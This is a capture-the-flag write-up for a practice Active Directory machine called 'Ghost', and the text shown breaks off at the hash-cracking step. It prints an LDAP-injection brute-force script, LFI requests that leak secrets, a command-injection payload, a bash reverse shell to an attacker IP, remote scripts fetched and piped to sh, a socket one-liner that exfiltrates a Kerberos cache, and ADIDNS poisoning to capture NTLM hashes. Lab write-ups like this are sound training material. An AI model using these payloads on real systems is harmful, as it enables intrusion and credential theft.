Ghost

Recon

nmap_scan.log
└─$ grep ghost /etc/hosts
10.10.11.24     ghost.htb       core.ghost.htb  DC01.ghost.htb  federation.ghost.htb

DNS (53)

└─$ dnsrecon -d ghost.htb -n 10.10.11.24
[*] std: Performing General Enumeration against: ghost.htb...
[-] DNSSEC is not configured for ghost.htb
[*]      SOA dc01.ghost.htb 10.10.11.24
[*]      SOA dc01.ghost.htb 10.0.0.254
[*]      NS dc01.ghost.htb 10.10.11.24
[*]      NS dc01.ghost.htb 10.0.0.254
[*]      A ghost.htb 127.0.0.1
[*]      A ghost.htb 10.10.11.24
[*]      A ghost.htb 10.0.0.254
[*] Enumerating SRV Records
[+]      SRV _kerberos._udp.ghost.htb dc01.ghost.htb 10.0.0.254 88
[+]      SRV _kerberos._udp.ghost.htb dc01.ghost.htb 10.10.11.24 88
[+]      SRV _kerberos._tcp.ghost.htb dc01.ghost.htb 10.10.11.24 88
[+]      SRV _kerberos._tcp.ghost.htb dc01.ghost.htb 10.0.0.254 88
[+]      SRV _ldap._tcp.ghost.htb dc01.ghost.htb 10.0.0.254 389
[+]      SRV _ldap._tcp.ghost.htb dc01.ghost.htb 10.10.11.24 389
[+]      SRV _gc._tcp.ghost.htb primary.corp.ghost.htb 10.0.0.10 3268
[+]      SRV _gc._tcp.ghost.htb dc01.ghost.htb 10.10.11.24 3268
[+]      SRV _gc._tcp.ghost.htb dc01.ghost.htb 10.0.0.254 3268
[+]      SRV _ldap._tcp.dc._msdcs.ghost.htb dc01.ghost.htb 10.10.11.24 389
[+]      SRV _ldap._tcp.dc._msdcs.ghost.htb dc01.ghost.htb 10.0.0.254 389
[+]      SRV _ldap._tcp.pdc._msdcs.ghost.htb dc01.ghost.htb 10.0.0.254 389
[+]      SRV _ldap._tcp.pdc._msdcs.ghost.htb dc01.ghost.htb 10.10.11.24 389
[+]      SRV _kerberos._tcp.dc._msdcs.ghost.htb dc01.ghost.htb 10.10.11.24 88
[+]      SRV _kerberos._tcp.dc._msdcs.ghost.htb dc01.ghost.htb 10.0.0.254 88
[+]      SRV _kpasswd._tcp.ghost.htb dc01.ghost.htb 10.0.0.254 464
[+]      SRV _kpasswd._tcp.ghost.htb dc01.ghost.htb 10.10.11.24 464
[+]      SRV _kpasswd._udp.ghost.htb dc01.ghost.htb 10.10.11.24 464
[+]      SRV _kpasswd._udp.ghost.htb dc01.ghost.htb 10.0.0.254 464
[+]      SRV _ldap._tcp.ForestDNSZones.ghost.htb primary.corp.ghost.htb 10.0.0.10 389
[+]      SRV _ldap._tcp.ForestDNSZones.ghost.htb dc01.ghost.htb 10.0.0.254 389
[+]      SRV _ldap._tcp.ForestDNSZones.ghost.htb dc01.ghost.htb 10.10.11.24 389
[+]      SRV _ldap._tcp.gc._msdcs.ghost.htb primary.corp.ghost.htb 10.0.0.10 3268
[+]      SRV _ldap._tcp.gc._msdcs.ghost.htb dc01.ghost.htb 10.10.11.24 3268
[+]      SRV _ldap._tcp.gc._msdcs.ghost.htb dc01.ghost.htb 10.0.0.254 3268
[+] 25 Records Found

SMB (Enumeration)

└─$ netexec smb 10.10.11.24 -u '' -p '' --shares
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\:
SMB         10.10.11.24     445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

┌──(woyag㉿kraken)-[~/Desktop/Rooms/Ghost]
└─$ netexec smb 10.10.11.24 -u 'guest' -p 'guest' --shares
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [-] ghost.htb\guest:guest STATUS_LOGON_FAILURE

└─$ netexec smb 10.10.11.24 -u 'userthatdoesntexistbutwantstopeek' -p '' --shares

└─$ netexec smb 10.10.11.24 -u 'anonymous' -p '' --shares

Looks like we will need credentials to get something out of SMB.

HTTP (8008)

Port 80 enumeration was unsuccessful, so moved on to next http server.

Ghost CMS

Ghost CMS version 5.78 is running on nginx 1.18.0:

|_http-server-header: nginx/1.18.0 (Ubuntu) 
|_http-generator: Ghost 5.78
Writeup.png
└─$ curl http://ghost.htb:8008/robots.txt
User-agent: *
Sitemap: http://ghost.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Disallow: /webmentions/receive/
Writeup-1.png

On unsuccessful login or Forgot Password action request is made to API:

Writeup-2.png

Ghost Content API

Going back to Homepage, I thought Search was useless, but inspecting the request we see it's making a request to backend. request looks like raw SQL:

Writeup-4.png

Endpoint list can be found in docs itself: https://ghost.org/docs/content-api/?ref=docslab.electronthemes-ghost.com#endpoints

└─$ curl 'http://ghost.htb:8008/ghost/api/content/settings/?key=37395e9e872be56438c83aaca6' -s | jq
{
  "settings": {
    "title": "Ghost",
    "description": "Thoughts, stories and ideas.",
    "logo": null,
    "icon": null,
    "accent_color": "#FF1A75",
    "cover_image": "https://static.ghost.org/v5.0.0/images/publication-cover.jpg",
    "facebook": "ghost",
    "twitter": "@ghost",
    "lang": "en",
    "locale": "en",
    "timezone": "Etc/UTC",
    "codeinjection_head": null,
    "codeinjection_foot": null,
    "navigation": [
      {
        "url": "/",
        "label": "Home"
      }
    ],
    "secondary_navigation": [],
    "meta_title": null,
    "meta_description": null,
    "og_image": null,
    "og_title": null,
    "og_description": null,
    "twitter_image": null,
    "twitter_title": null,
    "twitter_description": null,
    "members_support_address": "noreply",
    "members_enabled": false,
    "allow_self_signup": false,
    "members_invite_only": false,
    "paid_members_enabled": false,
    "firstpromoter_account": null,
    "portal_button_style": "icon-and-text",
    "portal_button_signup_text": "Subscribe",
    "portal_button_icon": null,
    "portal_signup_terms_html": null,
    "portal_signup_checkbox_required": false,
    "portal_plans": [
      "free"
    ],
    "portal_default_plan": "yearly",
    "portal_name": true,
    "portal_button": true,
    "comments_enabled": "off",
    "recommendations_enabled": false,
    "outbound_link_tagging": true,
    "default_email_address": "noreply@ghost.htb",
    "support_email_address": "noreply@ghost.htb",
    "url": "http://ghost.htb/",
    "version": "5.78"
  },
  "meta": {}
}

This key doesn't have any permissions on admin API, endpoints: https://ghost.org/docs/admin-api/#endpoints

Gitea (Enumeration)

CMS seemed secure enough to fight off any plain attacks as mentioned on their page: https://ghost.org/docs/security/ and nothing really was working. Port 8443 was serving Ghost Core at core.ghost.htb which later redirects to federation.ghost.htb. Application is quite vast, so there could be more subdomains. Testing subdomains on 8008 port:

└─$ domain="ghost.htb:8008"; ffuf -u "http://$domain" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -mc all -fl 185
       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghost.htb:8008
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt
 :: Header           : Host: FUZZ.ghost.htb:8008
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response lines: 185
________________________________________________
intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 144ms]
gitea                   [Status: 200, Size: 13653, Words: 1050, Lines: 272, Duration: 159ms]
:: Progress: [1078813/3000000] :: Job [1/1] :: 26 req/sec :: Duration: [11:21:11] :: Errors: 1080 ::

Application only allows internal logins, no registration. 2 users and no repositories (or no permissions to view as anonymous). Gitea version doesn't seem vulnerable to any CVEs.

Writeup-3.png

Hmm... nothing was making sense about the application..

Intranet

app on intranet subdomain uses LDAP

Writeup-5.png

Try payloads from swisskyrepo/PayloadsAllTheThings/LDAP Injection > payloads

Using payload *:* we are able to get in!

Writeup-6.png

Users:

Username
Full Name
Member of

kathryn.holland

Kathryn Holland

sysadmin

cassandra.shelton

Cassandra Shelton

sysadmin

robert.steeves

Robert Steeves

sysadmin

florence.ramirez

Florence Ramirez

IT

justin.bradley

Justin Bradley

IT, Remote Management Users

arthur.boyd

Arthur Boyd

IT

beth.clark

Beth Clark

HR

charles.gray

Charles Gray

HR

jason.taylor

Jason Taylor

HR

intranet_principal

Intranet Principal

principal

gitea_temp_principal

Gitea_Temp Principal

principal

Another subdomain in Forum:

Writeup-7.png

Brute Passwords via LDAP

Brute the passwords via LDAP injection:

import string
import asyncio
from aiohttp import ClientSession, MultipartWriter
from aiohttp.client_exceptions import ClientOSError

URL = 'http://intranet.ghost.htb:8008/login'
CHARSET = string.ascii_letters + string.digits + '{}!?,_'
SUCCESS = '{}' # Check `*:*` response
HEADERS = { 
    'Accept': 'text/x-component',
    'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',
    'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Origin': 'http://intranet.ghost.htb:8008',
    'Referer': 'http://intranet.ghost.htb:8008/login',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9',
}
USERNAME = 'kathryn.holland'

def multipart_template(username, password):
    return {
        '1_ldap-username': username,
        '1_ldap-secret': password,
        '0': '[{},"$K1"]'
    }

async def fetch(session, payload):
    with MultipartWriter('form-data') as multipart:
        for key, value in payload.items():
            part = multipart.append(value)
            part.set_content_disposition('form-data', name=key)

        try:
            resp = await session.post(URL, data=multipart, headers=HEADERS)#, proxy='http://127.0.0.1:8080')
        except ClientOSError:
            await asyncio.sleep(1)
            return await fetch(session, payload)
            
        if SUCCESS in await resp.text():
            return True

        return False

async def main():
    password = 'fgevlfymxrksvu9b'
    async with ClientSession() as session:
        while True:
            print(password)
            tasks = [
                fetch(session, multipart_template(USERNAME, f'{password}{c}*'))
                for c in CHARSET
            ]
            results = await asyncio.gather(*tasks)
            for i, result in enumerate(results):
                if result:
                    password += CHARSET[i]
                    break
            else:
                break

if __name__ == '__main__':
    asyncio.run(main())

Creds: kathryn.holland:fgevlfymxrksvu9b Creds: gitea_temp_principal:szrr8kpc3z6onlqf

Note: Not sure why, but sometimes script didn't brute the whole passwords. test if password works, if it doesn't try password* to verify.

Gitea (gitea_temp_principal)

Login with gitea_temp_principal account and we get few repositories:

Writeup-8.png

Intranet

api-dev seems to be open on intranet subdomain.

Writeup-9.png

http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/main.rs

##[launch]
fn rocket() -> _ {
    dotenv::dotenv().ok();

    let cors = rocket_cors::CorsOptions {
        allowed_origins: AllowedOrigins::all(),
        allowed_methods: vec![Method::Get, Method::Post].into_iter().map(From::from).collect(),
        allow_credentials: true,
        ..Default::default()
    }.to_cors().unwrap();

    rocket::build()
        .mount("/api", routes![
            api::login::login,
            api::news::get_news,
            api::users::get_users,
            api::me::get_me,
            api::forum::get_forum,
        ])
        .mount("/api-dev", routes![
            api::dev::scan::scan
        ])
        .attach(cors)
        .register("/", catchers![not_authorized])
}

http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev/scan.rs

use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;

##[derive(Deserialize)]
pub struct ScanRequest {
    url: String,
}

##[derive(Serialize)]
pub struct ScanResponse {
    is_safe: bool,
    // remove the following once the route is stable
    temp_command_success: bool,
    temp_command_stdout: String,
    temp_command_stderr: String,
}

// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
##[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();

    match result {
        Ok(output) => {
            Json(ScanResponse {
                is_safe: true,
                temp_command_success: true,
                temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
                temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
            })
        }
        Err(_) => Json(ScanResponse {
            is_safe: true,
            temp_command_success: false,
            temp_command_stdout: "".to_string(),
            temp_command_stderr: "".to_string(),
        })
    }
}

http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/frontend/src/helpers/fetch.ts

"use server";

import {cookies} from "next/headers";

export interface ApiFetchExtraOptions {
  noCredentials?: boolean;
}

export async function apiFetch(
  path: string,
  options?: RequestInit & ApiFetchExtraOptions,
) {
  const { headers, noCredentials, ...otherOptions } = options ?? {
    headers: [],
  };

  return fetch("http://backend:8000" + path, {
    ...(!noCredentials
      ? {
          credentials: "include",
          headers: {
            Cookie: `token=${cookies().get("token")!.value}`,
            ...headers,
          },
        }
      : {}),
    cache: "no-cache",
    ...otherOptions,
  });
}

Something tricky is going on with frontend, the API paths are all hardcoded and there's no way to interact with function.

Blog

Public API Key: a5af628828958c976a3b6cc81a

Writeup-10.png

http://gitea.ghost.htb:8008/ghost-dev/blog/src/branch/main/docker-compose.yml

version: '3.1'

services:
  ghost:
    build: .
    container_name: ghost
    restart: always
    ports:
      - 4000:2368
    environment:
      database__client: sqlite3
      database__connection__filename: "content/data/ghost.db"
      database__useNullAsDefault: true
      database__debug: false
      url: http://ghost.htb
      NODE_ENV: production
      DEV_INTRANET_KEY: "redacted"
    volumes:
      - ghost:/var/lib/ghost/content

volumes:
  ghost:
  db:

http://gitea.ghost.htb:8008/ghost-dev/blog/src/branch/main/Dockerfile

FROM ghost:5-alpine

RUN ln -s /dev/null /root/.bash_history
RUN ln -s /dev/null /home/node/.bash_history

RUN mkdir /var/lib/ghost/extra
RUN echo 659cdeec9cd6330001baefbf > /var/lib/ghost/extra/important

COPY posts-public.js /var/lib/ghost/current/core/server/api/endpoints/posts-public.js

CMD ["node", "current/index.js"]

Private API Key: 659cdeec9cd6330001baefbf (?)

There's interesting request made via extra parameter in posts-public.js

http://gitea.ghost.htb:8008/ghost-dev/blog/src/branch/main/posts-public.js#L113

...
async query(frame) {
	const options = {
		...frame.options,
		mongoTransformer: rejectPrivateFieldsTransformer
	};
	const posts = await postsService.browsePosts(options);
	const extra = frame.original.query?.extra;
	if (extra) {
		const fs = require("fs");
		if (fs.existsSync(extra)) {
			const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
			posts.meta.extra = { [extra]: fileContent };
		}
	}
	return posts;
}
...

First I tried making request to get the important file, but was unlucky.

└─$ curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=important' -s | jq
...
No extra results
...

Testing for LFI with /etc/hosts is a success!

└─$ curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../etc/hosts' -s | jq '.meta.extra.[]' -r
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.2      26ae7990f3dd

Leak the environment variables:

└─$ curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../proc/self/environ' -s | jq '.meta.extra.[]' -r | tr '\0' '\n'
HOSTNAME=26ae7990f3dd
database__debug=false
YARN_VERSION=1.22.19
PWD=/var/lib/ghost
NODE_ENV=production
database__connection__filename=content/data/ghost.db
HOME=/home/node
database__client=sqlite3
url=http://ghost.htb
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
database__useNullAsDefault=true
GHOST_CONTENT=/var/lib/ghost/content
SHLVL=0
GHOST_CLI_VERSION=1.25.3
GHOST_INSTALL=/var/lib/ghost
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=18.19.0
GHOST_VERSION=5.78.0

Find the usage of key:

Writeup-11.png

RCE

The application lives on intranet.ghost.htb, not ghost.htb :/

└─$ curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"; whoami"}' -s | jq -r .temp_command_stdout
root

└─$ curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"; ls -alh"}' -s | jq -r .temp_command_stdout
total 15M
drwxr-xr-x 1 root root 4.0K Jul  5 15:15 .
drwxr-xr-x 1 root root 4.0K Jul 22 17:03 ..
-rw-r--r-- 1 root root  24K Jul  5 15:15 database.sqlite
-rwxr-xr-x 1 root root  15M Jul  5 15:15 ghost_intranet

Looks like we are root in the container.

Reverse Shell (intranet container)

Get a reverse shell:

└─$ curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"; /bin/bash -i >& /dev/tcp/10.10.14.197/4444 0>&1"}' -s
root@36b733906694:/app# python3 -V
Python 3.11.2
root@36b733906694:/app# ls -alhR
.:
total 15M
drwxr-xr-x 1 root root 4.0K Jul  5 15:15 .
drwxr-xr-x 1 root root 4.0K Jul 22 17:03 ..
-rw-r--r-- 1 root root  24K Jul  5 15:15 database.sqlite
-rwxr-xr-x 1 root root  15M Jul  5 15:15 ghost_intranet
root@36b733906694:/app# file ghost_intranet
ghost_intranet: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5d57398226e3173188d58ff3a34f3a378a83ad82, for GNU/Linux 3.2.0, not stripped
root@36b733906694:/app# file database.sqlite
database.sqlite: SQLite 3.x database, last written using SQLite version 3040001, file counter 3, database pages 6, cookie 0x4, schema 4, UTF-8, version-valid-for 3

database.sqlite is just migration tables from gitea.

Run linpeas:

root@36b733906694:/dev/shm# curl 10.10.14.197/lp.sh|sh|tee lp.log
...
╔══════════╣ Environment
╚ Any private information inside environment variables?
HISTFILESIZE=0
DATABASE_URL=./database.sqlite
ROCKET_ADDRESS=0.0.0.0
HOSTNAME=36b733906694
SHLVL=2
HOME=/root
OLDPWD=/
LDAP_HOST=ldap://windows-host:389
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
_=/usr/bin/sh
RUSTUP_HOME=/usr/local/rustup
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HISTSIZE=0
JWT_SECRET=*xopkAGbLyg9bK_A
RUST_VERSION=1.79.0
PWD=/dev/shm
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
CARGO_HOME=/usr/local/cargo
HISTFILE=/dev/null
...
══╣ Breakout via mounts
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts
═╣ /proc mounted? ................. Yes
═╣ /dev mounted? .................. No
═╣ Run unshare .................... No
═╣ release_agent breakout 1........ No
═╣ release_agent breakout 2........ No
═╣ core_pattern breakout .......... No
═╣ binfmt_misc breakout ........... No
═╣ uevent_helper breakout ......... No
═╣ is modprobe present ............ No
═╣ DoS via panic_on_oom ........... No
═╣ DoS via panic_sys_fs ........... No
═╣ DoS via sysreq_trigger_dos ..... No
═╣ /proc/config.gz readable ....... No
═╣ /proc/sched_debug readable ..... No
═╣ /proc/*/mountinfo readable ..... No
═╣ /sys/kernel/security present ... Yes
═╣ /sys/kernel/security writable .. No

══╣ Namespaces
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces
total 0
lrwxrwxrwx 1 root root 0 Aug 10 12:18 cgroup -> cgroup:[4026532463]
10 12:18 ipc -> ipc:[4026532406]
lrwxrwxrwx 1 root root 0 Aug 10 12:18 mnt -> mnt:[4026532404]
lrwxrwxrwx 1 root root 0 Aug 10 12:18 net -> net:[4026532408]
lrwxrwxrwx 1 root root 0 Aug 10 12:18 pid -> pid:[4026532407]
lrwxrwxrwx 1 root root 0 Aug 10 12:18 pid_for_children -> pid:[4026532407]
lrwxrwxrwx 1 root root 0 Aug 10 12:18 time -> time:[4026531834]
lrwxrwxrwx 1 root root 0 Aug 10 12:18 time_for_children -> time:[4026531834]
lrwxrwxrwx 1 root root 0 Aug 10 12:18 user -> user:[4026531837]
lrwxrwxrwx 1 root root 0 Aug 10 12:18 uts -> uts:[4026532405]

╔══════════╣ Container Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape
CapInh: 0000000000000000
CapPrm: 00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
CapEff: 00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
m00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
CapAmb: 0000000000000000
Run capsh --decode=<hex> to decode the capabilities
...
╔══════════╣ Possible Entrypoints
-rwxr-xr-x 1 root root 215 Jul 22 17:02 /docker-entrypoint.sh
...
╔══════════╣ Searching root files in home dirs (limit 30)
/home/
/root/
/root/.bashrc
/root/.profile
/root/.ssh
/root/.ssh/config
/root/.ssh/known_hosts
/root/.ssh/controlmaster
/root/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22
/root/.ssh/known_hosts.old
/root/.gnupg
/root/.gnupg/S.gpg-agent.ssh
/root/.gnupg/pubring.kbx
/root/.gnupg/private-keys-v1.d
/root/.gnupg/S.gpg-agent.extra
/root/.gnupg/trustdb.gpg
/root/.gnupg/S.gpg-agent.browser
/root/.gnupg/S.gpg-agent
/root/.bash_history
...
                              ╔═════════════════════╗
══════════════════════════════╣ Network Information ╠══════════════════════════════
                              ╚═════════════════════╝
╔══════════╣ Hostname, hosts and DNS
36b733906694
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.0.0.254      windows-host
172.18.0.3      36b733906694

nameserver 127.0.0.11
search .
options edns0 trust-ad ndots:0

╔══════════╣ Interfaces
default         0.0.0.0
loopback        127.0.0.0
link-local      169.254.0.0

Interface
Main:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.18.0.0/16 2 0 2
        +-- 172.18.0.0/30 2 0 2
           |-- 172.18.0.0
              /16 link UNICAST
           |-- 172.18.0.3
              /32 host LOCAL
        |-- 172.18.255.255
           /32 link BROADCAST
Local:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.18.0.0/16 2 0 2
        +-- 172.18.0.0/30 2 0 2
           |-- 172.18.0.0
              /16 link UNICAST
           |-- 172.18.0.3
              /32 host LOCAL
        |-- 172.18.255.255
           /32 link BROADCAST
...

First I focused on env variable usage:

root@36b733906694:/dev/shm# grep 'LDAP_BIND_PASSWORD' /app -Raino
/app/ghost_intranet:11590:LDAP_BIND_PASSWORD
/app/ghost_intranet:11635:LDAP_BIND_PASSWORD
/app/ghost_intranet:11643:LDAP_BIND_PASSWORD

Docker is started with entrypoint script:

root@36b733906694:/dev/shm# cat /docker-entrypoint.sh
cat /docker-entrypoint.sh
##!/bin/bash

mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n  ControlMaster auto\n  ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n  ControlPersist yes' > /root/.ssh/config

exec /app/ghost_intranet

SSH file in /root/.ssh/controlmaster is a socket file... (?)

root@36b733906694:~/.ssh/controlmaster# ls -Alh
total 0
srw------- 1 root root 0 Aug  9 16:36 florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster# file *
florence.ramirez@ghost.htb@dev-workstation:22: socket

Looks like we are able to ssh into the other box without password?... Interesting

root@36b733906694:/# ssh -l florence.ramirez@ghost.htb dev-workstation
Pseudo-terminal will not be allocated because stdin is not a terminal.
> whoami
florence.ramirez
> cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.0.0.254      windows-host dc01.ghost.htb ghost.htb
172.18.0.2      LINUX-DEV-WS01
script /dev/null -qc /bin/bash # Get TTY
florence.ramirez@LINUX-DEV-WS01:~$

Run linpeas. curl/wget was not available, but python3 is and with built-in one-liner we can download the files.

florence.ramirez@LINUX-DEV-WS01:/dev/shm$ python3 -c "import urllib.request; urllib.request.urlretrieve('http://10.10.14.197/lp.sh', 'lp.sh')"
florence.ramirez@LINUX-DEV-WS01:/dev/shm$ ls -alh
ls -alh
total 836K
drwxrwxrwt 2 root             root    80 Aug 10 13:23 .
drwxr-xr-x 5 root             root   340 Aug  9 16:35 ..
-rw-r--r-- 1 florence.ramirez staff    0 Aug 10 13:05 lp.log
-rw-r--r-- 1 florence.ramirez staff 834K Aug 10 13:23 lp.sh
florence.ramirez@LINUX-DEV-WS01:/dev/shm$ bash lp.sh | tee lp.log
...

Nothing eye catching, but we are part of the domain controller and since this is a Windows box we can get the loot for Bloodhound.

florence.ramirez@LINUX-DEV-WS01:/dev/shm$ grep ghost /etc/hosts
10.0.0.254      windows-host dc01.ghost.htb ghost.htb

Bash doesn't like exe files and bloodhound-python needs user credentials to work, so no enumeration :/

Kerberos Cache

florence.ramirez@LINUX-DEV-WS01:/$ base64 /tmp/krb5cc_50 > /tmp/krb5cc_50.base64
florence.ramirez@LINUX-DEV-WS01:/$ python3 -c "import socket; s = socket.socket(); s.connect(('10.10.14.197', 4444)); s.sendall(open('/tmp/krb5cc_50.base64', 'rb').read()); s.close()"
---
└─$ listen > krb5cc_50.base64
└─$ cat krb5cc_50.base64|base64 -d > krb5cc_50
└─$ file krb5cc_50
krb5cc_50: data

What are the "/tmp/kerb5cc_<user-id>" files exactly?

If you want to use a pre-existing credentials cache on the host from inside a container, you can mount it into the container, and set the KRB5CCNAME environment variable

Using Kerberos authentication with NetExec

└─$ export KRB5CCNAME='~/Desktop/Rooms/Ghost/krb5cc_50'
└─$ netexec smb ghost.htb --use-kcache --shares
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\florence.ramirez from ccache
SMB         10.10.11.24     445    DC01             [*] Enumerated shares
SMB         10.10.11.24     445    DC01             Share           Permissions     Remark
SMB         10.10.11.24     445    DC01             -----           -----------     ------
SMB         10.10.11.24     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.24     445    DC01             C$                              Default share
SMB         10.10.11.24     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.24     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.24     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.24     445    DC01             Users           READ

I wasn't able to go far with kerberos cache, HackerRecipies > Pass the ticket was not working as user didn't have any privileges.

ADIDNS poisoning

If we go back to forum there's a user who ran some script, but dns was not configured. We can take advantage of that with HackerRecipies > ADIDNS poisoning method.

Writeup-12.png
└─$ python dnstool.py -k -u ghost.htb\\florence.ramirez -a add -d 10.10.14.197 -r bitbucket.ghost.htb -dns-ip 10.10.11.24 DC01.ghost.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
---
└─$ sudo responder -I tun0
...
[HTTP] NTLMv2 Client   : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:c2c302882d0cad7a:D8AB45F19FB6FAF3755EEB4CD82CAB43:010100000000000032FCD3948FECDA01C7B9C51FCCE6BE3B000000000200080031004A003400580001001E00570049004E002D00540032004D00360059004E00430032003500440050000400140031004A00340058002E004C004F00430041004C0003003400570049004E002D00540032004D00360059004E00430032003500440050002E0031004A00340058002E004C004F00430041004C000500140031004A00340058002E004C004F00430041004C0008003000300000000000000000000000004000004068631233B3AE0EE2E68851EBC406EF0EA148F4A756AA311BED6AE2F01197400A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000
...

Crack the hash:

➜ .\hashcat.exe --show hashes
...
